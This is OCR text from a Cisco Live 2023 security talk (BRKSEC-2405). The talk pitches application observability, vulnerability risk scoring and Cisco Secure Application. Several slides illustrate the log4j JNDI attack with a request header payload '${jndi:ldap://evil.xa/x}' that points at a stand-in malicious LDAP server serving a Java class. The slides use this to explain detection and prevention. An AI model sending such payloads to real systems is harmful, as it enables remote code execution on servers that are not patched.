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- Securing the new digital
world

- Foundational concepts of
applications

- Application security for
hybrid applications

- Security insights for cloud
native applications

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 7



We will in an evolving and expanding digital world

E-Commerce

Consumer

Scan and go POS

D

RICES e

Al Marketing

cisco Lg{/ / N
&- #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 8



Where digital experience is the new business KPI

Digital Experience
tied to Business Outcomes

g Frcl)]%

Mitigating Risk Team Efficiency
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But applications are built in complex environment
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Li/ / There is no business context
cisco (4 #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 10



Which

cisco L{Vp//

leads to

Use more than 10 application
observability/monitoring tool

Say most observability tools
serve narrow requirements and
fail to enable a complete view

Struggle with data collection
and correlation

#CiscoLiveAPJC

¢

) Data overload

£

BRKSEC-2405

Tool sprawl
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So, teams need to see the full stack of available data

Shared context across the digital experience

E-Commerce

l Associate
Al
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Focused on
vulnerabilities &

Focused on

velocity & . ® ® o

user
experience

{
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The stakes are different for security

Global Impact of

Increase in Nation-State
Cybercrime

initiated Cyber attacks

Cost siphoned from
beneficial investment
to combat Cybercrime

Since start of Russia-
Ukraine War

cisco Lzﬁo//
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Explosion of threats in microservices security

cisco L{Vp/‘/

Companies with
a Kubernetes
security incident
in last 12 months

#CiscoLiveAPJC

BRKSEC-2405

API| attacks
increase, will be
most frequent
attack vector

© 2023 Cisco and/or its affiliates. All right
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Customer pain is real and similar to ITOps

problems

Cost to Contain a
Breach in the US

Average cost to contain
a breach with 38% of

this cost from lost
business

cisco Lzﬁo//

34 of a year to
detect breach
occurred!

Average time to
identify and contain a
data breach

#CiscoLiveAPJC BRKSEC-2405 ©2023 C

Breaches with data
exfiltrated in the first
24-hours

isco and/or its affiliates. All rights reserved. Cisco Public
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Our Agents of Transformation

ITOps / DevOps

“Allison”
“I want to help secure our apps, “I need visibility and control “I uncover security bugs as
but not at the expense user everywhere to protect our soon as | can, but dev can’t fix
experience or availability.” business, which leads to alert them all, so | try to pick what

avalanches.” matters most.”

cisco L‘V&. #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 18



The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
({34 ?
GET /test HTTP/1.1 HTTP ${jndi:ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x} €) DISABLE JNDI LOOKUPS
BLOCK WITH WAF

€) PATCH LOG4)

Without both teams , -

. . . . . Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
J oinin g th e f| g ht, ISsues http //victim.xa implementation Idap://evil.xa
like the log4j JNDI —o— E —e— [@ —o— £

e . DISABLE LOG4) &

vulnerability can’t be L« o
protected against in a o © § /

ti m e |y fas h iO n public class Malicious implements Serializcg( dn: w '

javaClassName: Malicious

MO

static

1 javaCodebase: http://evil.xa

javaSerializedData: <...>

}

The LDAP server responds with directory
information that contains the malicious
Java class

JAVA deserializes (or downloads) the
malicious Java class and executes it.

@ ® © CovCERTch
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How can Cisco help?
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How Cisco Full-Stack Observability can help?

4 N

Secure

Extend

k Extend and empower a new observability ecosystem /

Across the full-stack, tied to business context

cisco W ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 28



Applications require a new security approach

Empowering the digital enterprise to operate with speed and security

New applications Require new protections
0 . :
Run anywhere \@J CLOSER to the application
Change constantly £ CONTINUQOUSLY automates security

Are unique @ ADAPTIVE for the application

(

cisco M-/ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 29



Business Risk Observability
Full-Stack Observability - Secure

4 )

Provide business context needed to rapidly assess risk and
align teams based on potential impact

Business Context Mapp|ng VUInerabiIity and Threat Business Risk Score

Intelligence :
Scoring composited from analysis of

Mapping vulnerapilities anq attacks to runtime behavior + business impact +
EETIT TEREEEHETS [EEiEEs tiE Threat intelligence feeds from multiple intelligence provides complete

5:Zzgf:n?m:ﬁizgﬂpaﬁuir?]u'glélty yet complementary sources provide business risk context to instantly
p the threat context to understand the assess and prioritize action across

G iEEs. likelihood of exploits. ITOps and Security teams.

cisco M-/ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 30



Foundational
concepts
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Source code

Enables portability

Interfaces with the host OS

Manage application memory Operating system
[ | |

CPU GPU Memory

Loads dependencies

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 32



Enables agile application
Processes

Resilient distributed systems

Consistent deployments

CISCO

An ocean of
user containers

FROM
WORKDIR
COPY
RUN yarn --production
CMD

EXPOSE

apiVersion: apps/vl
kind: Deployment

| = metadata:
- |I name: nginx-deployment

labels:
app: nginx
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:

. labels:
- . app: nginx
l J spec:
Scheduled and packed containers:

. - nhame: nginx
dynamically onto nodes image: nginx:1.14

ports:
- containerPort:

Kubernetes
Master

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 33



Libraries

Build applications quicker .
with more consistency . public class HelloWorld {

import org.apache.log4j.Logger;

private static final Logger log = Logger.getLogger(HelloWorld.class);

public static void main(String[] args) {

_ : log.info("Hello World!");
Teams standardize on OSS and _ }

internally-distributed libraries

const express = require('express')
Focused and experienced teams often const app = express()

build a better solution

app.get('/', (req, res) => {
res.send('Hello World!")

}

Compile the library into the application
or dynamically load it

0o sl o ol o= 28 [ =

app.listen(8080)

M- BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 34




Common Vulnerability Scoring
System (CVSS)

Severity Base Score Range

7.0-8.9

9.0-10.0

Consistent assessment across industry
Static scoring without manual adjustments
Does not measure risk—measures technical severity

Not a predictor of exploitation

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 35



Observe and measure

Modify behavior

Leave source code
untouched

HelloWorld.Java

Java Source Code

JavaCompiler

public class HelloWorld {
public static void main(String[] args) {
System.out.println("hello world"):;

Javac eoo

HelloWorld.class
Java binary byteCode

Intercept

( HelloWorld.class

public static void main (¢

Intercepted
HelloWorld
Class Definition
in-memory

System.out.println ("}
System.out.println ("t

L JOVO biﬂQI’y byteCode public class HelloWorld {

JVM Agent P

JVM Process

BRKSEC-2405

Source: Balakrishnan Sathiyakugan
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https://sathiyakugan.medium.com/java-agent-a-powerful-tool-you-might-have-missed-fe6a85884481

Stack Traces

Understand the path
through an application when
debugging

public class StackTrace {

public static void main(String[] args) {
a();
}

static void a() {

b();
}

1.
2.
S
4.
5.
6.
7.
8.
9.

Give guidance to incorrect use of

the application S javac StackTrace.java

static void b() { S java StackTrace
c(); java.lang.Exception: Stack trace
) at java.lang.Thread.dumpStack(Thread.java:13
at StackTrace.c(StackTrace.java:16)
at StackTrace.b(StackTrace.java:12)
at StackTrace.a(StackTrace.java:8)
at StackTrace.main(StackTrace.java:4)

Understand how execution arrived

at the error static void c¢() {

Thread.dumpStack();
}

File and line of code from source
guides Devs

M- BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 37




Instrumentation library per
language

End-to-end implementation

Full control of your data

Open-standard semantic
conventions

CiIsco

oM

<

oy oo Telemetry

Agse[r;lt< or Collector Backend

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 38



Data Collection

Auto-Discovery and Mapping

Business Transaction Monitoring

Anomaly Detection and Root
Cause Diagnostics

{) APPDYNAMICS

(9]

Legend ET: R H |_33-|

15 calls/ min_15 calls /.min, 408 ms—
10error/ min e
©
? LegacyProcessor

T
24.48K calls /-mirmysql:3306 - Ap...ynamics - MYSQL 15 calls / min, 509 ms.

/ Custorn.Activity

15 calls /min

Application Flow Map

15 calls/ mi
215ms

Node

Pat rs«ervub\

15 calls.min, 3.2s
HTTP

15 calls / min, 10 ms

LegacyTranalation 13 calls / min, 258 ms

15 calls / min, 521 ms HTTP

=
HTTP 2 calls / min;459 ms
HTTP

137 calls / min
863 Ms»—15 calls /.min, 76 ms
HTTP

30 calls /.min, 0 ms 51 calls s/min_____ 31 calls /.min, 5 ms
Cache [+)

@ 5 errors /min Eache
edis:6379 - REDIS LoginServices

Commerce
1.6k calls /fin, 8 ms /
b8
2 calls / min, 8 ms
TP 2 callsY min, 52
/ 38 calls g;\m 5ms 4 calls/ m|n 3ms WP

g a
postgres:5432 -...es - POSTGRESQL. @
http://www.fedex.com:8080 ? ? o
——"

mysql:3306 - Store - MYSQL mysql:3306 - Fu..illment - MYSQL

Not comparing against Baseline data

Events

Business Transaction Health

5 critical, 0 warning, 17 normal

Node Health

Lo )
2 critical, 2 warning, 3 normal

Security Health

Business Risk 800 °

Vulnerabilities (Real-time)

Critical High Medium Low

@30 ® 254 93 @8

Transaction Scorecard

Normal = 90.5% 2.3m
Slow 33% 837k
VerySlow o 37% 941k
Stall . 0.0% 2
Errors . 25% 64.1k

BRKSEC-2405

© 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 39



Business-oriented observability

Accurate reflection of performance

Capture business metrics

Foundational to business insights

Overview Slow Calls and Errors

Summary

Q User Experience: Normal

Execution Time
22ms

End to End Latency Time
19 ms

Timestamp
01/30/23 8:23:39 PM

Business Transaction
/cart

More Details )

Potential Issues

@& carts:80/carts/57a98d98e4b006
79b4a830b2

{§ com.mongodb.operation.Comma
ndOperationHelper.executeWrapp
edCommandProtocol

Waterfall View

20 ms

8ms

Segment List Data Collectors

Drill Down

front-end
START

5ms'(22.7%)
HTTP,

< 3ms (13.6%)
X Mongo DB
carts-db.27017.data

Legend

Actions

L

Drill Down

12 ms (54.5%)
1 Call

R

BRKSEC-2405
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Personal, Sensitive, Private

Sensitive Private Personal
data data data

Not already public, Defined and governed
may cause harm by data protection
if disclosed and regulation

Data leakage

Data breach

Cisco
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Application security

Business risk observability for hybrid application

T
<
o)
=8
Q
>
°
j=2
=
QO
=5
o
=
(2]

@ L ocate h OW an d wh ere an Business Transactions > /web-api/login @ Lost1 Week
a tta C k OC C u rS W it h b u Si n eSS Details Daily Highest Business Risk Score Detected Top Recommended Remediations

transaction mapping o Upgad o tver 22 orr e

in application AD-Finacial-Next

. Upgrade lib-kung to ver 1.2.1 for tier Arcade
in application AD-Finacial-Next

Business Transaction
T2 business_transaction_1

Upgrade lib-whoo to ver 1.2.1 in tier Dojo
in applicati i

Application ion AD-Finacial-Next

Leverage security intelligence from g
Cisco Talos, Kenna and

I8 tier_001_renamed

P tica t ickl e i e
. = Business Transaction
current security posture s 10t 2t
Title & D ¥ KennaScore O Reached O cvss score O Tier (Nodes) Library & Last detected Satus
Remote Code Execution CVE-2021-44228 [0} €@ critical 181 web1 (1) [ org.apache.logging.logd). 11 minutes ago Detected
Insecure Default CVE-2022-22956 @ critical 1B1 web Tier B org.apache logging.logd; 12 hours ago Detected
Combine threat and vulnerability @ o B ccrmromoner() [ wmvedekooprologt. 12homsoge Dot
. | | . . h b . . Insecure Default CVE-2022-45896 @ critical 181 web1 (1) I org.apache.logging.logd; 15 hours ago Detected
Intelligence wit usiness iImpact @ o B e B nwcioomsiogt,  homse | fwmend

an d ru ntl me b e h aVl or to p rOVI d e Remote Code Execution  CVE-2021-89456 &6 High 81 docker-api-gateway (1) [ org.apachelogginglogdj.. 12 hours ago Detected

Remote Code Execution  CVE:2017-80140 ) Medium 1B credit services (6) I org.apache.ogging.loge) 12 hours ago Detected

a business risk score P A
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AppDynamics Agent Architecture

Secure Application

Cisco Security __
Solutions 2 -

\) APPDYNAMICS

part of Cisco

A

One-Way m

HTTP/S @

CNAPP, Firewall,
IPS, WAF, Perimeter
Security

[ 1
—— E] Secure

Application

One-Way
HTTP/S

<\D

APM Agent Server Agent Database
Java / .NET 0os SQL
Dynamic Languages
SAP

End User Agent

Browser / Mobile /
loT

@)

Included in
AppD APM Agent

@ Secure Workload

cisco L‘V& . #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Cisco Secure Application

Security insights provided with Application and Business context

Business Risk Observability

Detect
Vulnerabilities

Common Vulnerabilities
and Exceptions with
Code Level correlation

cisco Lz//&/

Detect
Attacks

Spot CVE correlated
runtime exploits and
Zero Day attacks (like
Log4j)

#CiscoLiveAPJC BRKSEC-2405

Block
Attacks

Policy level blocking
that stops bad actors...
even if vulnerabilities
exist

© 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 45



"But I've already
got
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The role of application security testing in the pipeline

I’m committing a new feature

@ o) |mport vuln library [} Code-level access
‘ use vuln.library. functlon(http_parameter) Outside access
Source Build Test Deploy Monitor

t
‘ pla?teyevirlis | look f ! ook forin- )
| see CIOLE Tl app
custom SAST || SCA ~and external- DAST IAST behavioral
code vulns licenses facing vulns vulns
1—(Cisoo Secure Application

cisco W ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 48



Defense-in-depth reduces risk & load on the app

'p Runtime
;14
© O O

Block suspicious Block suspicious Block suspicious
network traffic HTTP requests code behavior

|

(Cisoo Secure Application)

cisco W ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 50



What an attack looks like to the runtime sec stack

(Cisco Secure Application) ( | see

deserialization

Compute that triggers
see : ’ Spawning a
Cofp;ne]catfn | see serialized App Runtime process
odd geo data that might —
2 be malicious RASP

APM

Business Logic

Perimeter

GET /param=rO0t3...xsl )
| see a connection to a

process. Then | see Download

that process create a process
New process.

J

cisco L‘V&- #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 51




Real-world
usage
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The log4j JNDI Attack
(CVE_ 202 1 _44228) and how to prevent it

Attacker Vulnerable Server
A http://victim.xa
2
St
- I
=y ... ===

—_—

Become completely integrated into the application and with same level of trust \\

Download Steal, modify, Alter Steal admin
and run destroy any business or customer
malware data transactions credentials

@ ® © CovCERTch

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 53



(CVE-2021-44228)

Attacker delivers JNDI lookup
string

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a
header field that is likely to be logged.

=

GET /test HTTP/1.1 HTTP
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Attacker Vulnerable Server
http://victim.xa
o | @ |
'y 99—
=y E
@ ® © CovCERTch

BRKSEC-2405
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(CVE-2021-44228)

Attacker delivers JNDI lookup
string

String sent to log4j library

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j
header field that is likely to be logged. for logging
=5 “”
GET /test HTTP/1.1 HTTP ${jndi:ldap://evil.xa/x}

Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Attacker Vulnerable Server Vulnerable log4;j
http://victim.xa implementation
O
i
ry —0— FA —eo— ’@
=a E (—|

@ ® © CovCERTch
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(CVE-2021-44228)

Attacker delivers JNDI lookup
string

String sent to log4j library

Log4j replaces string from a
malicious server

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
= “” et ?
GET /test HTTP/1.1 HTTP ${jndi:ldap://evil.xa/x} ldap://evil.xa/x

Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Attacker Vulnerable Server Vulnerable log4;j Malicious LDAP Server
http //victim.xa implementation Idap://evil.xa

—e— B —8

I%IO»
0

@ ® © CovCERTch
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(CVE-2021-44228)

Attacker delivers JNDI lookup
string

String sent to log4j library

Log4j replaces string from a
malicious server

Server provides malicious code

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and

header field that is likely to be logged. for logging queries the malicious LDAP server.
= “” et ?
GET /test HTTP/1.1 HTTP ${jndi:ldap://evil.xa/x} ldap://evil.xa/x

Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Attacker Vulnerable Server Vulnerable log4;j Malicious LDAP Server
A http://victim.xa implementation Idap://evil.xa
2
y —O

; D s 0G m
[ === e © )

pa
| <

A [ o

public class Malicious implements Serializable { dn:
javaClassName: Malicious
atotle [ ussuavosoouss javaCodebase: http://evil.xa

javaSerializedData: <...>
}
The LDAP server responds with directory
information that contains the malicious
Java class

JAVA deserializes (or downloads) the
©®® GovCERTh malicious Java class and executes it.

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 57



(CVE-2021-44228)

Attacker delivers JNDI lookup
string

String sent to log4j library

Log4j replaces string from a
malicious server

Server provides malicious code

The log4j JNDI Attack

Where
should
we
start?

service

s will

prver

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public
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suoneolddy pUgAH

Instrument apps with no code
changes

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a
header field that is likely to be logged.

=

GET /test HTTP/1.1 HTTP
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Attacker Vulnerable Server
http://victim.xa
O
St
ry —0— ﬂ
@ ® © CovCERTch

Cisco Secure Application

BRKSEC-2405
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suoneolddy pUgAH

Instrument apps with no code
changes

Detect vuln library usage in
Business Transactions

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a
header field that is likely to be logged.

=

GET /test HTTP/1.1 HTTP
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Attacker Vulnerable Server
A http://victim.xa

@ ® © CovCERTch

Vulnerable log4;j
implementation

{1\~

Cisco Secure Application

BRKSEC-2405
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suoneolddy pUgAH

Instrument apps with no code
changes

Detect vuln library usage in
Business Transactions

Block network access

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a
header field that is likely to be logged.

=

GET /test HTTP/1.1 HTTP
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Attacker Vulnerable Server Vulnerable log4;j Malicious LDAP Server
A http://victim.xa implementation Idap://evil.xa

—o—n@ /- @ — £

Cisco Secure Application

@ ® © CovCERTch
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The log4j JNDI Attack

and how to prevent it

suoneolddy pUgAH

An attacker inserts the JNDI lookup in a
header field that is likely to be logged.

=

GET /test HTTP/1.1 HTTP
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

Instrument apps with no code Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
PP
changes A http://victim.xa implementation Idap://evil.xa

e ﬂ - @

Detect vuln library usage in
Business Transactions

Alert sec and app teams ©®® GovceRTch

Block network access %
Cisco Secure Application g O
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Dive into the
detalls
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Downloads

Supported P
Runtimes o

I
<
(o}
=
a
>
O
<
=
Q
=
o
>
w

apiVersion: cluster.appdynamics.com/vlalphal

o . 3 Selected kind: Clusteragent
Securlty Integrated INto our metadata:
eXiSting APM agents AVAILABLE DOWNLOADS name: k8s-cluster-agent

namespace: appdynamics
spec:
Name appName: "<app-name>"
controllerUrl: "<protocol>://<appdynamics-controll
account: "<account-name>"
image: "<your-docker-registry>/appdynamics/cluster
serviceAccountName: appdynamics-cluster-agent
nsToMonitor:

- "default"
instrumentationMethod: Env
nsToInstrumentRegex: ecom
defaultAppName: Ecommerce
instrumentationRules:
- language: java

imageInfo:
‘Java,_PQEj' image: docker.io/appdynamics/java-agent:late
agentMountPath: /opt/appdynamics
imagePullPolicy: Always

M&- BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 64
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VMs and containers in Kubernetes

Java Agent JDK8+

Java, .NET, Node.js
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Built with a performance mindset

Java and .NET

Disk
< 4MB install
< 15MB daily

cisco Lz/&/

©

Memory
< 4-6MB heap

- © )

CPU Latency Instrumentation
< 1% < 4-6ms per transaction 12 - 30 classes
< 5% spikes < 10ms spikes

Vulnerable library detection Node.js has negligible resource utilization

#CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 65
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Correlate findings to
Business Transactions

Give deeper context to guide prioritization

« Automatically detect vulnerabilities and
threats using existing AppDynamics
agents

« Correlate findings to application entities
and transactions

« Block attacks with code-level policy

« Business context locates risk within
critical transactions

cisco Lzﬁo//

#CiscoLiveAPJC

\) ‘ Cisco Secure Application

15calls / min_15 calls /.min, 408 ms—
408ms DB
© 1 error / min
e PoatProcerss

|
P06 - Ap...ynamics - MYSQL 15 calls / min, 509 ms

Custom. Activity

15 caliS7 mi
215ms
Java

Inventory

b calls / min, 10 ms
DB

13 calls / min, 258 ms

2 calls / min7459 ms
ATTR

137 calls / min
863 ms»—15 calls /.min, 76 ms 87 calls / min 31.calls Z.min, 5 me
208 —
5 errors / min

Cache

LoginServices

Commerce

2 calls / mif, 8 ms
HTTP 2 calls/ min, 5
38 calls / min, 5ms 4 calls / min, 3 ms HTTP~

DB,

BRKSEC-2405

Events

Business Transaction Health

5 critical, 0 warning, 17 normal

Node Health

fo—
2 critical, 2 warning, 3 normal

Security Health

Business Risk 800 o

Vulnerabilities (Real-time)

Critical High Medium Low

@30 ® 254 93 @8

Transaction Scorecard

© 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 66
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No configuration required

Flexible controls

Diagnostics

O

SUMMARY

O 0o oo oo

Nodes ©
ACTIVE SUPPORTED

130 94

Cisco Secure Application

36 unsupported
READY ENABLED SECURED
0 disabled 4 unsecured
7
Security Setting Export All

Application Active Nodes Ready Nodes
Y3 AD-Financial-Next 35 30
Y2 AD-DevOps 17 3
{2 AD-Financial 15 13
Y3 AD-Ecommerce 13 12
13 sAP-ERP 12 4

Trend ©

0 r T T T T T 1
Jan 30 Jan 31 Feb 01 Feb 02 Feb 03 Feb 04 Feb 05
@ Supported @ Enabled @ Secured @ Active @ Ready

Application v  Search... v

Showing 1-10 of 34 Applications

Supported Nodes Enabled Nodes Secured Nodes Security Setting Security Status
30 30 30 Enable » Enabled
3 3 3 Inherit » Enabled
13 13 13 Enable » Enabled
13 13 12 Inherit » Enabled
5 5 4 Enable » Enabled

BRKSEC-2405
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Use Kenna, Talos, and
Panoptica Intel

Hunt for threats in SecureX

‘) ‘ Cisco Secure Application

[ XN ]
Timestamp: 05-02-2022 09:30:45 EDT
) l e | . , Affected Node: node-20
' ' '
Event Trigger: 178.175.1.244
cisco OECUe X

Vulnerabilities: CVE-2021-44228

Entry Point: https://localhost:8088/app/execute?upload=http:
189.203.158.82 Investigate in SecureX
178.175.1.244 /. [RVENCIEERERERTLT

Intelligence block list
Network Flow: 127.0.0.1:40758

Judgement: Suspicious [Talos]

Cﬁ; 27 Observables v { ClientIP:

g 3 Targets v

Relations Graph - Dispositions: All v Types: All v Mod

Classname: java.net.SocketPermission
Socket Out: 178.175.1.244:443

sun.net.www.http.HttpClient.openServer

e
—
{ % X P

\ ; 111281105 v

2 Domins

¥ an

true

java.lang.SecurityManager.checkConnect (SecuriyManager.ja
1051)

sun.net.www.http.HttpClient.openServer (Http

/ 2 SHA=IGR

ent.java:51
:

y Panoptica
Cloud-Native Application Security, Simp

()

3 URLs

Security

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 68
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[ XN ]
T Library v Search...
Export All
Highest
[ b Applicati Tier (Nodes) Kenna Highest CVSS Score
ibrary pplication ier (Nodes] Score © g
N2
O org.apache.tomcat.embed:tomcat-embed-core:8.5.11 n staging-sock-shop IBl orders 1) 100 m Critical
[} org.springframework:spring-beans:4.3.6.RELEASE Y3 staging-sock-shop I8l orders 1) @D ciitical
Lb . O org.springframework.data:spring-data-commons:1.12.7.R... Y3 staging-sock-shop IBl orders 1) @D critical
g O org.springframework.data:spring-data-rest-webmvc:2.5.7.... {3 staging-sock-shop I8l orders 1) @D critical
O com.fasterxml.jackson.core;jackson-databind:2.8.6 {3 staging-sock-shop I8l orders (1) @D High
O org.springframework:spring-webmvc:4.3.6.RELEASE n staging-sock-shop I8l orders 1) 61 590 Medium
Consta nt | | Onlto rlng O org.springframework.data:spring-data-mongodb:1.9.7.REL... {3 staging-sock-shop I8l orders (O @D critical
O ch.qos.logback:logback-core:1.1.9 {3 staging-sock-shop I8l orders n  E» @D ciitical
O ch.qos.logback:logback-classic:1.1.9 {3 staging-sock-shop I8l orders "  EE» @D ciitical
R d . . d (] org.springframework:spring-context:4.3.6.RELEASE {3 staging-sock-shop Bl orders (OB @G Low
g d org.hibernate:hibernate-validator:5.2.4.Final {3 staging-sock-shop I8l orders n =D @@ High
(] org.springframework:spring-web:4.3.6.RELEASE {3 staging-sock-shop Bl orders (1) et @88D High
O ﬂ org.springframework:spring-expression:4.3.6.RELEASE Y3 staging-sock-shop I8l orders O ) (53) Medium
T
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Rate of Vulnerability Disclosure

CVEs Per Year CVEs from NVD
30,000 190,359
#0000 Average CVEs
20,000 Published Per Day
68
15,000
10,000 2022
| 25,059
>0 24% Y /Y
gssugzsepsgesaorrereosny oo
222222882 S888R_%888R888¢R_.8¢8¢28% 17% Q/Q

cisco W. #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 70



Our research shows us that...

- There were an average of 68 new software vulnerabilities published
every day in 2022

- 95% of IT assets have at least one highly exploitable vulnerability.

- Organizations are remediating around 1 in 10 vulnerabilities in any
month.

- Twitter mentions to prioritize software fixes are 2X as effective at
reducing organizational exploitation as CVSS.

mentia K=NNA
INSTITUT Security

Source: Prioritization to Prediction, Volume 8, The Cyentia Institute & Kenna Security

cisco L&VP// HCiscoLiveAPJC
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Which vulnerabilities are truly risky?

CVEs in the NVD: Observed and Exploited

5% Roughly in the NVD are

Observed & observed in enterprises and exploited
xploite . .
in the wild.

These are the ones you want to
51% prioritize for remediation.

Source: Prioritization to Prediction, Volume 5, Kenna Security & The Cyentia Institute

Not Observed & Not Exploited

cisco W ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 72
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Determine likelihood of exploit with Kenna

Use data science to identify real
vulnerability risk

Machine learning leveraging real-time
and historical data to predict
exploitation

Leverage a better remediation
methodology compared to CVSS

Native backend integration maps Kenna
scores to discovered vulns

Combine findings into vuln and threat
context for business risk scores

cisco Lzﬁo//

Title

Remote Code Execution (RCE)

Arbitrary Code Injection

Arbitrary Command Execution

Arbitrary Code Injection

Arbitrary Code Execution

HTTP Request Smuggling

Denial of Service (DoS)

#CiscoLiveAPJC BRKSEC-2405

\) ‘ Cisco Secure Application

ClassLoader Manipulation via...

URL Redirection to Untrusted ...

D Kenna Score O CVSS Score Applica
cve2019-0230  @EB @ critical 13 Pat
cve2013-1965 @D 88D High 13 Pat
cve-2016-3086 @D @D ciitical 13 Pat
cve2013-1966 @D 880 High 13 Pat
cVE20140094 @D 53 ) Medium 12 Pat
CVE-2013-2  kanna Score ®
CVE-2013-2
CVE-2022-4 Kenna Intelligence

| 64 o]e
CVE-2021-4

© 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Cisco Kenna cuts through the noise

Kenna looks at various categories of vulnerability data to
understand what happens to a CVE during all stages of its
life, from the assignment of a CVE to the unlikely event of an
exploitation in the wild.

Data Categories

MITRE & NVD Exploit Databases Threat Actors Volume & Velocity of

Vulnerability Scoring ) » Exploitation in the Wil
Early Warning Chatter Malware Analysis Malware Families xploitation in the Wild

Kenna Machine Learning Model-Based Risk Scoring _
This incorporates the prediction of exploitation publication and exploitation event (94% accuracy) -

cisco W ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 74



High-risk remediation strategies

High-Risk CVEs by Remediation Strategy

A real dataset of 184,306 vulnerabilities

136,921

100,034

2,018

CVSS Scanner Kenna

1 . 09% of these CVEs are
considered high-risk by Kenna

v 134,903 fewer vulnerabilities to
remediate compared to the scanner

v 98,016 fewer vulnerabilities to
remediate compared to CVSS

Missed high-risk vulns
111 CVEs found high by Kenna but not found high by scanner

51 CVEs found high by Kenna but not found high by CVSS

cisco Lg{/&/

#CiscoLiveAPJC
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[ XN ]
Stack Trace

suoneolddy pUgAH

) Cisco Secure Application

sun.nio.ch.Net.getRevealedLocalAddress (Net.java:175)
sun.nio.ch.SocketAdaptor.getLocalAddress (SocketAdaptor.
org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper
java:1356)

SUMMARY OBSERVATIO| org.apache.tomcat.util.net.SocketWrapperBase.getLocalNa
D Application org.apache.coyote.AbstractProcessor.action (AbstractProc
BossOsprey /' 13 Cluster-Agent-Demo 3 org.apache.coyote.Request.action (Request.java:432)
org.apache.catalina.connector.Request.getLocalName (Requ
Source org.apache.catalina.valves.RemoteTpValve. invoke (RemoteT
Internal Tier (Nodes) org.apache.catalina.connector.CoyoteAdapter.service (Coy
181 WebTier (1) org.apache.coyote.httpll.HttpllProcessor.service (Httpll
Outcome org.apache.coyote.AbstractProcessorLight.process (Abstra
@ Observed org.apache.coyote.AbstractProtocol$Connectiontandler. pr
Lifespan 0
Observation Type (Events) 1 Second (05-02-2022 12:30:59 EDT - 05-02- org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.
)

A t' | | - t t d NETWORK (1) 2022 12:30:59 EDT, s org.apache.tomcat.util.net.SocketProcessorBase.run (Sock
utomatiCally Instrumente D Copy § | jave.utis. concurrent. ThreadpooiExecutor  runiorker (Threa
java.util.concurrent.ThreadPoolExecutor$Worker.run (Thre

org.apache.tomcat.util.threads.TaskThread$iirappingRunna
java.lang.Thread.run(Thread.java:748)

Events (1)

